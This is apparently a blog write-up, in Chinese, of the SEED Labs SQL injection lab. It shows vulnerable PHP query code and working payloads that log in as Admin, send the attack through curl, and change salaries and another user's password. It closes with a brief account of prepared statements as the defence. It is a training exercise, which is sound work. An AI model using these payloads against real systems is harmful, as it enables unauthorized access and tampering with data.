乐趣区

关于网络安全:SeedLab-SQL-Injection-Attack-Lab

筹备试验

SeedLab 16 版本试验 SQL Injection Attack Lab

地址 https://seedsecuritylabs.org/Labs_16.04/Web/Web_SQL_Injection/

试验领导 https://seedsecuritylabs.org/Labs_16.04/PDF/Web_SQL_Injection.pdf

参考 https://blog.csdn.net/qq_37672864/article/details/89331585

虚拟机中 /var/www/SQLInjection/ 给出了一个 web 我的项目, 本地浏览器拜访 http://www.SEEDLabSQLInjection.com.

同样虚拟机曾经配装了 MySQL, 指令 mysql -u root -pseedubuntu 可拜访, 于此试验相干的数据库为 User, 库中蕴含表 credential.

use Users;
show tables;
select * from credential;

T2 SQL Injection Attack on SELECT Statement

在登录页 (对应 /var/www/SQLInjection/unsafe home.php) 插入 SQL 片段来实现工作. 上面是 unsafe home.php 中相干的代码片段.

$sql = "SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password
        FROM credential
        WHERE name= '$input_uname' and Password='$hashed_pwd'";

T2.1 SQL Injection Attack from webpage

咱们须要在登录页面的输入框中插入 SQL, 以 Admin 的身份登录.

通过测试, 这段 SQL 是没问题的.

SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password
FROM credential
WHERE name = 'Admin' and Password = (select Password from credential where name='Admin');

如果一切顺利, 3 行 Password= 前面的内容就是答案, 然而传入的明码会通过 SHA1 加密, 利用明码的地位插入 SQL 片段不太适合. 所以在用户名地位插入上面的 SQL 片段

Admin'and Password = (select Password from credential where name='Admin') #

最初的 # 会正文掉多余的 SQL.

T2.2 SQL Injection Attack from command line

这个实质和 2.1 一样, 然而它要求仿造申请实现插入, 这里应用零碎携带的 curl 工具.

curl 'www.SeedLabSQLInjection.com//unsafe_home.php?username=Admin%27%20and%20Password%20%3D%20%28select%20Password%20from%20credential%20where%20name%3D%27Admin%27%29%20%23&Password=111'

在申请中呈现的特殊字符须要转成 ASCII 的 16 进制编码, 另外 www.SeedLabSQLInjection.com 前面的 / 貌似须要本义.

T2.3 Append a new SQL statement

这里要求在 2.1 和 2.2 的根底上尝试一次注入两句 SQL,

Admin'and Password = (select Password from credential where name='Admin'); 
insert into credential(name) values('test') #

这里第二句是一句插入, 增加一个名为 test 的用户.

这一部分没胜利

T3 SQL Injection Attack on UPDATE Statement

有 T2 的根底之后, T3 要简略的多, 次要是体验一下对数据库的批改, 绝对读取数
据, 这种 SQL 注入危害更大.

工作要求在用户的 Edit Profile 页面注入 SQL, /var/www/SQLInjection/unsafe edit backend.php 中对应的代码片段.

$hashed_pwd = sha1($input_pwd); 
$sql = "UPDATE credential SET nickname='$input_nickname',email='$input_email', address='$input_address', Password='$hashed_pwd', PhoneNumber='$input_phonenumber'WHERE ID=$id;";
$conn->query($sql);

T3.1 Modify your own salary

批改本人的薪水, 在 phone number 输入框中输出,

', Salary='50000

不过这里要伪装晓得薪水对应的字段是 Salary.

T3.2 Modify other people’salary

批改本人老板 Boby 的薪水, 在 phone number 中增加,

', Salary='1000'where Name='Boby' #

T3.3 Modify other people’password

批改老板 Boby 的明码, 进一步打击报复, 在 address 中增加

', Password='7c4a8d09ca3762af61e59520943dc26494f8941b', PhoneNumber ='' where Name='Boby' #

正如之前提到, 这里的明码要事后通过 SHA1 加密, 明文为 123456.

如何应答 SQL 注入

SQL Server 做了什么

对于 SQL Server, 一条 SQL 语句会被拆解为 SQL 局部与数据局部, 直到最初要写入数据库, SQL 语句都是用 placeholder 来占用数据所在的地位. 按程序实现:

  1. 对 SQL 语句进行语义查看
  2. 将 SQL 语句中的关键字 (SELECT 等) 转成机器可执行的代码
  3. 优化, 抉择最优操作
  4. 将最优的办法写入缓冲区内
  5. 将数据与编译实现的 SQL 绑定
  6. 写入

拆散 SQL 局部与数据局部

利用 Prepared SQL Statement 来提前做好数据的占位, 也就是在一开始将 SQL 局部和数据局部拆散, 避免数据局部危险的内容与 SQL 局部联合, 篡改本意.

退出移动版